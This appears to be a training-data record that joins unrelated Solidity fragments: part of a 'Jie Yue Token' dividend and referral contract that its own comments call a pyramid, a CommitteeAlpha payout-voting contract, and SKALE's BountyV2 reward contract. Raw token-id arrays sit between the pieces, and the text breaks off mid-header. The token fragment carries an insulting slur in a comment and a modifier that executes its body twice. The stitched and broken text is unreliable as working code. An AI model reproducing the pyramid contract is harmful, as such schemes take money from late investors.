address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_); uint256 _referralBonus = SafeMath.div(_undividedDividends, referralFee_); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can&#39;t give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn&#39;t deserve dividends for the tokens before they owned them; //really i know you think you do but you don&#39;t int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It&#39;s an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It&#39;s an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
result: healthy longevity. are we still in the vulnerable phase? if so, enact anti early whale protocol is the customer in the ambassador list? does the customer purchase exceed the max ambassador quota? updated the accumulated quota execute in case the ether count drops low, the ambassador phase won&#39;t reinitiate
modifier ctrlEarlyWhale(uint256 _amountOfEthereum){ address _customerAddress = msg.sender; if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){ require( ambassadors_[_customerAddress] == true && (ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_ ); ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum); _; onlyAmbassadors = false; _; } } ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); address indexed from, address indexed to, uint256 tokens ); event Approval( address indexed tokenOwner, address indexed spender, uint tokens ); =====================================*/ string public name = "Jie Yue Token"; string public symbol = "JYT"; uint8 constant public decimals = 18; uint8 public dividendFee_ = 10; uint8 public referralFee_=3; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; uint256 constant internal ambassadorMaxPurchase_ = 60 ether; uint256 constant internal ambassadorQuota_ = 60 ether; ================================*/ mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; mapping(address => bool) public allowed_approvees; =======================================*/ public
10,877,906
[ 1, 2088, 30, 28819, 4281, 908, 16438, 18, 854, 732, 4859, 316, 326, 331, 19063, 429, 6855, 35, 309, 1427, 16, 570, 621, 30959, 11646, 600, 5349, 1771, 353, 326, 6666, 316, 326, 13232, 428, 23671, 666, 35, 1552, 326, 6666, 23701, 9943, 326, 943, 13232, 428, 23671, 13257, 35, 3526, 326, 24893, 13257, 1836, 316, 648, 326, 225, 2437, 1056, 29535, 4587, 16, 326, 13232, 428, 23671, 6855, 8462, 10, 5520, 31, 88, 283, 2738, 3840, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 6414, 41, 20279, 2888, 5349, 12, 11890, 5034, 389, 8949, 951, 41, 18664, 379, 15329, 203, 3639, 1758, 389, 10061, 1887, 273, 1234, 18, 15330, 31, 203, 540, 203, 3639, 309, 12, 1338, 30706, 428, 361, 1383, 597, 14015, 4963, 41, 18664, 379, 13937, 1435, 300, 389, 8949, 951, 41, 18664, 379, 13, 1648, 13232, 428, 23671, 10334, 67, 8623, 95, 203, 5411, 2583, 12, 203, 7734, 13232, 428, 361, 1383, 67, 63, 67, 10061, 1887, 65, 422, 638, 597, 203, 1171, 203, 7734, 261, 2536, 428, 23671, 8973, 5283, 690, 10334, 67, 63, 67, 10061, 1887, 65, 397, 389, 8949, 951, 41, 18664, 379, 13, 1648, 13232, 428, 23671, 2747, 23164, 67, 203, 1171, 203, 5411, 11272, 203, 2398, 203, 5411, 13232, 428, 23671, 8973, 5283, 690, 10334, 67, 63, 67, 10061, 1887, 65, 273, 14060, 10477, 18, 1289, 12, 2536, 428, 23671, 8973, 5283, 690, 10334, 67, 63, 67, 10061, 1887, 6487, 389, 8949, 951, 41, 18664, 379, 1769, 203, 540, 203, 5411, 389, 31, 203, 5411, 1338, 30706, 428, 361, 1383, 273, 629, 31, 203, 5411, 389, 31, 377, 203, 3639, 289, 203, 540, 203, 565, 289, 203, 377, 203, 377, 203, 565, 28562, 14468, 5549, 203, 565, 871, 603, 1345, 23164, 12, 203, 3639, 1758, 8808, 6666, 1887, 16, 203, 3639, 2254, 5034, 6935, 41, 18664, 379, 16, 203, 3639, 2254, 5034, 2430, 49, 474, 329, 16, 203, 3639, 1758, 8808, 29230, 858, 203, 565, 11272, 203, 377, 203, 565, 871, 603, 1345, 55, 1165, 12, 203, 3639, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./common/BaseRelayRecipient.sol"; import "./common/NonReentrancy.sol"; import "./interfaces/IGuarantor.sol"; import "./interfaces/IRegistry.sol"; import "./interfaces/ISeller.sol"; import "./interfaces/IStaking.sol"; // Owned by Timelock, and Timelock is owned by GovernerAlpha contract CommitteeAlpha is Ownable, NonReentrancy, BaseRelayRecipient { using SafeMath for uint256; using SafeERC20 for IERC20; string public override versionRecipient = "1.0.0"; IRegistry public registry; address[] public members; mapping(address => uint256) public memberIndexPlusOne; // index + 1 uint256 public feeToRequestPayout = 20e6; uint256 public maximumRequestDuration = 3 days; struct PayoutStartRequest { uint256 time; uint16 assetIndex; address requester; bool executed; uint256 voteCount; mapping(address => bool) votes; } PayoutStartRequest[] public payoutStartRequests; struct PayoutAmountRequest { address toAddress; uint256 sellerAmount; uint256 guarantorAmount; uint256 stakingAmount; bool executed; uint256 voteCount; mapping(address => bool) votes; } // assetIndex => payoutId => PayoutAmountRequest mapping(uint16 => mapping(uint256 => PayoutAmountRequest)) public payoutAmountRequestMap; uint256 public commiteeVoteThreshod = 4; event RequestPayoutStart(address indexed who_, uint16 indexed assetIndex_); event ConfirmPayoutStartRequest(address indexed who_, uint256 indexed requestIndex_, uint256 indexed payoutId_); event RequestPayoutAmount( uint16 indexed assetIndex_, uint256 indexed payoutId_, address toAddress_, uint256 sellerAmount_, uint256 guarantorAmount_, uint256 stakingAmount_ ); event ConfirmPayoutAmountRequest(address indexed who_, uint16 indexed assetIndex_, uint256 indexed payoutId_); constructor (IRegistry registry_) public { registry = registry_; } function _msgSender() internal override(Context, BaseRelayRecipient) view returns (address payable) { return BaseRelayRecipient._msgSender(); } function _trustedForwarder() internal override view returns(address) { return registry.trustedForwarder(); } function setFeeToRequestPayout(uint256 fee_) external onlyOwner { feeToRequestPayout = fee_; } function setMaximumRequestDuration(uint256 duration_) external onlyOwner { maximumRequestDuration = duration_; } function setCommiteeVoteThreshod(uint256 threshold_) external onlyOwner { commiteeVoteThreshod = threshold_; } function addMember(address who_) external onlyOwner { require(memberIndexPlusOne[who_] == 0, "Already a member"); members.push(who_); memberIndexPlusOne[who_] = members.length; } function removeMember(address who_) external onlyOwner { uint256 indexPlusOne = memberIndexPlusOne[who_]; require(indexPlusOne > 0, "Invalid address / not a member"); require(indexPlusOne <= members.length, "Out of range"); if (indexPlusOne < members.length) { members[indexPlusOne.sub(1)] = members[members.length.sub(1)]; memberIndexPlusOne[members[indexPlusOne.sub(1)]] = indexPlusOne; } memberIndexPlusOne[who_] = 0; members.pop(); } function isMember(address who_) public view returns(bool) { return memberIndexPlusOne[who_] > 0; } function isPayoutStartRequestExpired(uint256 requestIndex_) public view returns(bool) { return now >= payoutStartRequests[requestIndex_].time + maximumRequestDuration; } // Step 1 (request), anyone pays USDC to request payout. function requestPayoutStart(uint16 assetIndex_) external lock { IERC20(registry.baseToken()).safeTransferFrom( _msgSender(), registry.platform(), feeToRequestPayout); PayoutStartRequest memory request; request.time = now; request.assetIndex = assetIndex_; request.requester = _msgSender(); request.executed = false; request.voteCount = 0; payoutStartRequests.push(request); emit RequestPayoutStart(_msgSender(), assetIndex_); } // Step 1 (vote & execute), called by commitee members directly. // The last caller needs to provide a correct payoutId (not hard figure it out), // otherwise it reverts. function confirmPayoutStartRequest(uint256 requestIndex_, uint256 payoutId_) external lock { PayoutStartRequest storage request = payoutStartRequests[requestIndex_]; require(isMember(msg.sender), "Requires member"); require(!request.votes[msg.sender], "Already voted"); require(!request.executed, "Already executed"); require(!isPayoutStartRequestExpired(requestIndex_), "Already expired"); request.votes[msg.sender] = true; request.voteCount = request.voteCount.add(1); if (request.voteCount >= commiteeVoteThreshod) { ISeller(registry.seller()).startPayout(request.assetIndex, payoutId_); IGuarantor(registry.guarantor()).startPayout(request.assetIndex, payoutId_); IStaking(registry.staking()).startPayout(request.assetIndex, payoutId_); request.executed = true; } emit ConfirmPayoutStartRequest(msg.sender, requestIndex_, payoutId_); } // Step 2 relies on the DAO, TIDAL stakers propose (the Step 3 request) and vote // in GovernerAlpha. // Step 3 (request), called by timelock (GovernerAlpha). function requestPayoutAmount( uint16 assetIndex_, uint256 payoutId_, address toAddress_, uint256 sellerAmount_, uint256 guarantorAmount_, uint256 stakingAmount_ ) external onlyOwner { PayoutAmountRequest memory request; request.toAddress = toAddress_; request.sellerAmount = sellerAmount_; request.guarantorAmount = guarantorAmount_; request.stakingAmount = stakingAmount_; request.executed = false; request.voteCount = 0; payoutAmountRequestMap[assetIndex_][payoutId_] = request; emit RequestPayoutAmount(assetIndex_, payoutId_, toAddress_, sellerAmount_, guarantorAmount_, stakingAmount_); } // Step 3 (vote & execute), called by commitee members directly. function confirmPayoutAmountRequest(uint16 assetIndex_, uint256 payoutId_) external lock { PayoutAmountRequest storage request = payoutAmountRequestMap[assetIndex_][payoutId_]; require(isMember(msg.sender), "Requires member"); require(!request.votes[msg.sender], "Already voted"); require(!request.executed, "Already executed"); request.votes[msg.sender] = true; request.voteCount = request.voteCount.add(1); if (request.voteCount >= commiteeVoteThreshod) { ISeller(registry.seller()).setPayout( assetIndex_, payoutId_, request.toAddress, request.sellerAmount); IGuarantor(registry.guarantor()).setPayout( assetIndex_, payoutId_, request.toAddress, request.guarantorAmount); IStaking(registry.staking()).setPayout( assetIndex_, payoutId_, request.toAddress, request.stakingAmount); request.executed = true; } emit ConfirmPayoutAmountRequest(msg.sender, assetIndex_, payoutId_); } }
assetIndex => payoutId => PayoutAmountRequest
mapping(uint16 => mapping(uint256 => PayoutAmountRequest)) public payoutAmountRequestMap;
12,701,828
[ 1, 9406, 1016, 516, 293, 2012, 548, 516, 453, 2012, 6275, 691, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 11890, 2313, 516, 2874, 12, 11890, 5034, 516, 453, 2012, 6275, 691, 3719, 1071, 293, 2012, 6275, 691, 863, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: AGPL-3.0-only /* Bounty.sol - SKALE Manager Copyright (C) 2020-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./delegation/DelegationController.sol"; import "./delegation/PartialDifferences.sol"; import "./delegation/TimeHelpers.sol"; import "./delegation/ValidatorService.sol"; import "./ConstantsHolder.sol"; import "./Nodes.sol"; import "./Permissions.sol"; contract BountyV2 is Permissions { using PartialDifferences for PartialDifferences.Value; using PartialDifferences for PartialDifferences.Sequence; struct BountyHistory { uint month; uint bountyPaid; } uint public constant YEAR1_BOUNTY = 3850e5 * 1e18; uint public constant YEAR2_BOUNTY = 3465e5 * 1e18; uint public constant YEAR3_BOUNTY = 3080e5 * 1e18; uint public constant YEAR4_BOUNTY = 2695e5 * 1e18; uint public constant YEAR5_BOUNTY = 2310e5 * 1e18; uint public constant YEAR6_BOUNTY = 1925e5 * 1e18; uint public constant EPOCHS_PER_YEAR = 12; uint public constant SECONDS_PER_DAY = 24 * 60 * 60; uint public constant BOUNTY_WINDOW_SECONDS = 3 * SECONDS_PER_DAY; uint private _nextEpoch; uint private _epochPool; uint private _bountyWasPaidInCurrentEpoch; bool public bountyReduction; uint public nodeCreationWindowSeconds; PartialDifferences.Value private _effectiveDelegatedSum; // validatorId amount of nodes mapping (uint => uint) public nodesByValidator; // deprecated // validatorId => BountyHistory mapping (uint => BountyHistory) private _bountyHistory; bytes32 public constant BOUNTY_REDUCTION_MANAGER_ROLE = keccak256("BOUNTY_REDUCTION_MANAGER_ROLE"); modifier onlyBountyReductionManager() { require(hasRole(BOUNTY_REDUCTION_MANAGER_ROLE, msg.sender), "BOUNTY_REDUCTION_MANAGER_ROLE is required"); _; } function calculateBounty(uint nodeIndex) external allow("SkaleManager") returns (uint) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); require( _getNextRewardTimestamp(nodeIndex, nodes, timeHelpers) <= now, "Transaction is sent too early" ); uint validatorId = nodes.getValidatorId(nodeIndex); if (nodesByValidator[validatorId] > 0) { delete nodesByValidator[validatorId]; } uint currentMonth = timeHelpers.getCurrentMonth(); _refillEpochPool(currentMonth, timeHelpers, constantsHolder); _prepareBountyHistory(validatorId, currentMonth); uint bounty = _calculateMaximumBountyAmount( _epochPool, _effectiveDelegatedSum.getAndUpdateValue(currentMonth), _bountyWasPaidInCurrentEpoch, nodeIndex, _bountyHistory[validatorId].bountyPaid, delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, currentMonth), delegationController.getAndUpdateDelegatedToValidatorNow(validatorId), constantsHolder, nodes ); _bountyHistory[validatorId].bountyPaid = _bountyHistory[validatorId].bountyPaid.add(bounty); bounty = _reduceBounty( bounty, nodeIndex, nodes, constantsHolder ); _epochPool = _epochPool.sub(bounty); _bountyWasPaidInCurrentEpoch = _bountyWasPaidInCurrentEpoch.add(bounty); return bounty; } function enableBountyReduction() external onlyBountyReductionManager { bountyReduction = true; } function disableBountyReduction() external onlyBountyReductionManager { bountyReduction = false; } function setNodeCreationWindowSeconds(uint window) external allow("Nodes") { nodeCreationWindowSeconds = window; } function handleDelegationAdd( uint amount, uint month ) external allow("DelegationController") { _effectiveDelegatedSum.addToValue(amount, month); } function handleDelegationRemoving( uint amount, uint month ) external allow("DelegationController") { _effectiveDelegatedSum.subtractFromValue(amount, month); } function estimateBounty(uint nodeIndex) external view returns (uint) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); uint currentMonth = timeHelpers.getCurrentMonth(); uint validatorId = nodes.getValidatorId(nodeIndex); uint stagePoolSize; (stagePoolSize, ) = _getEpochPool(currentMonth, timeHelpers, constantsHolder); return _calculateMaximumBountyAmount( stagePoolSize, _effectiveDelegatedSum.getValue(currentMonth), _nextEpoch == currentMonth.add(1) ? _bountyWasPaidInCurrentEpoch : 0, nodeIndex, _getBountyPaid(validatorId, currentMonth), delegationController.getEffectiveDelegatedToValidator(validatorId, currentMonth), delegationController.getDelegatedToValidator(validatorId, currentMonth), constantsHolder, nodes ); } function getNextRewardTimestamp(uint nodeIndex) external view returns (uint) { return _getNextRewardTimestamp( nodeIndex, Nodes(contractManager.getContract("Nodes")), TimeHelpers(contractManager.getContract("TimeHelpers")) ); } function getEffectiveDelegatedSum() external view returns (uint[] memory) { return _effectiveDelegatedSum.getValues(); } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); _nextEpoch = 0; _epochPool = 0; _bountyWasPaidInCurrentEpoch = 0; bountyReduction = false; nodeCreationWindowSeconds = 3 * SECONDS_PER_DAY; } // private function _calculateMaximumBountyAmount( uint epochPoolSize, uint effectiveDelegatedSum, uint bountyWasPaidInCurrentEpoch, uint nodeIndex, uint bountyPaidToTheValidator, uint effectiveDelegated, uint delegated, ConstantsHolder constantsHolder, Nodes nodes ) private view returns (uint) { if (nodes.isNodeLeft(nodeIndex)) { return 0; } if (now < constantsHolder.launchTimestamp()) { // network is not launched // bounty is turned off return 0; } if (effectiveDelegatedSum == 0) { // no delegations in the system return 0; } if (constantsHolder.msr() == 0) { return 0; } uint bounty = _calculateBountyShare( epochPoolSize.add(bountyWasPaidInCurrentEpoch), effectiveDelegated, effectiveDelegatedSum, delegated.div(constantsHolder.msr()), bountyPaidToTheValidator ); return bounty; } function _calculateBountyShare( uint monthBounty, uint effectiveDelegated, uint effectiveDelegatedSum, uint maxNodesAmount, uint paidToValidator ) private pure returns (uint) { if (maxNodesAmount > 0) { uint totalBountyShare = monthBounty .mul(effectiveDelegated) .div(effectiveDelegatedSum); return _min( totalBountyShare.div(maxNodesAmount), totalBountyShare.sub(paidToValidator) ); } else { return 0; } } function _getFirstEpoch(TimeHelpers timeHelpers, ConstantsHolder constantsHolder) private view returns (uint) { return timeHelpers.timestampToMonth(constantsHolder.launchTimestamp()); } function _getEpochPool( uint currentMonth, TimeHelpers timeHelpers, ConstantsHolder constantsHolder ) private view returns (uint epochPool, uint nextEpoch) { epochPool = _epochPool; for (nextEpoch = _nextEpoch; nextEpoch <= currentMonth; ++nextEpoch) { epochPool = epochPool.add(_getEpochReward(nextEpoch, timeHelpers, constantsHolder)); } } function _refillEpochPool(uint currentMonth, TimeHelpers timeHelpers, ConstantsHolder constantsHolder) private { uint epochPool; uint nextEpoch; (epochPool, nextEpoch) = _getEpochPool(currentMonth, timeHelpers, constantsHolder); if (_nextEpoch < nextEpoch) { (_epochPool, _nextEpoch) = (epochPool, nextEpoch); _bountyWasPaidInCurrentEpoch = 0; } } function _getEpochReward( uint epoch, TimeHelpers timeHelpers, ConstantsHolder constantsHolder ) private view returns (uint) { uint firstEpoch = _getFirstEpoch(timeHelpers, constantsHolder); if (epoch < firstEpoch) { return 0; } uint epochIndex = epoch.sub(firstEpoch); uint year = epochIndex.div(EPOCHS_PER_YEAR); if (year >= 6) { uint power = year.sub(6).div(3).add(1); if (power < 256) { return YEAR6_BOUNTY.div(2 ** power).div(EPOCHS_PER_YEAR); } else { return 0; } } else { uint[6] memory customBounties = [ YEAR1_BOUNTY, YEAR2_BOUNTY, YEAR3_BOUNTY, YEAR4_BOUNTY, YEAR5_BOUNTY, YEAR6_BOUNTY ]; return customBounties[year].div(EPOCHS_PER_YEAR); } } function _reduceBounty( uint bounty, uint nodeIndex, Nodes nodes, ConstantsHolder constants ) private returns (uint reducedBounty) { if (!bountyReduction) { return bounty; } reducedBounty = bounty; if (!nodes.checkPossibilityToMaintainNode(nodes.getValidatorId(nodeIndex), nodeIndex)) { reducedBounty = reducedBounty.div(constants.MSR_REDUCING_COEFFICIENT()); } } function _prepareBountyHistory(uint validatorId, uint currentMonth) private { if (_bountyHistory[validatorId].month < currentMonth) { _bountyHistory[validatorId].month = currentMonth; delete _bountyHistory[validatorId].bountyPaid; } } function _getBountyPaid(uint validatorId, uint month) private view returns (uint) { require(_bountyHistory[validatorId].month <= month, "Can't get bounty paid"); if (_bountyHistory[validatorId].month == month) { return _bountyHistory[validatorId].bountyPaid; } else { return 0; } } function _getNextRewardTimestamp(uint nodeIndex, Nodes nodes, TimeHelpers timeHelpers) private view returns (uint) { uint lastRewardTimestamp = nodes.getNodeLastRewardDate(nodeIndex); uint lastRewardMonth = timeHelpers.timestampToMonth(lastRewardTimestamp); uint lastRewardMonthStart = timeHelpers.monthToTimestamp(lastRewardMonth); uint timePassedAfterMonthStart = lastRewardTimestamp.sub(lastRewardMonthStart); uint currentMonth = timeHelpers.getCurrentMonth(); assert(lastRewardMonth <= currentMonth); if (lastRewardMonth == currentMonth) { uint nextMonthStart = timeHelpers.monthToTimestamp(currentMonth.add(1)); uint nextMonthFinish = timeHelpers.monthToTimestamp(lastRewardMonth.add(2)); if (lastRewardTimestamp < lastRewardMonthStart.add(nodeCreationWindowSeconds)) { return nextMonthStart.sub(BOUNTY_WINDOW_SECONDS); } else { return _min(nextMonthStart.add(timePassedAfterMonthStart), nextMonthFinish.sub(BOUNTY_WINDOW_SECONDS)); } } else if (lastRewardMonth.add(1) == currentMonth) { uint currentMonthStart = timeHelpers.monthToTimestamp(currentMonth); uint currentMonthFinish = timeHelpers.monthToTimestamp(currentMonth.add(1)); return _min( currentMonthStart.add(_max(timePassedAfterMonthStart, nodeCreationWindowSeconds)), currentMonthFinish.sub(BOUNTY_WINDOW_SECONDS) ); } else { uint currentMonthStart = timeHelpers.monthToTimestamp(currentMonth); return currentMonthStart.add(nodeCreationWindowSeconds); } } function _min(uint a, uint b) private pure returns (uint) { if (a < b) { return a; } else { return b; } } function _max(uint a, uint b) private pure returns (uint) { if (a < b) { return b; } else { return a; } } } // SPDX-License-Identifier: AGPL-3.0-only /* DelegationController.sol - SKALE Manager Copyright 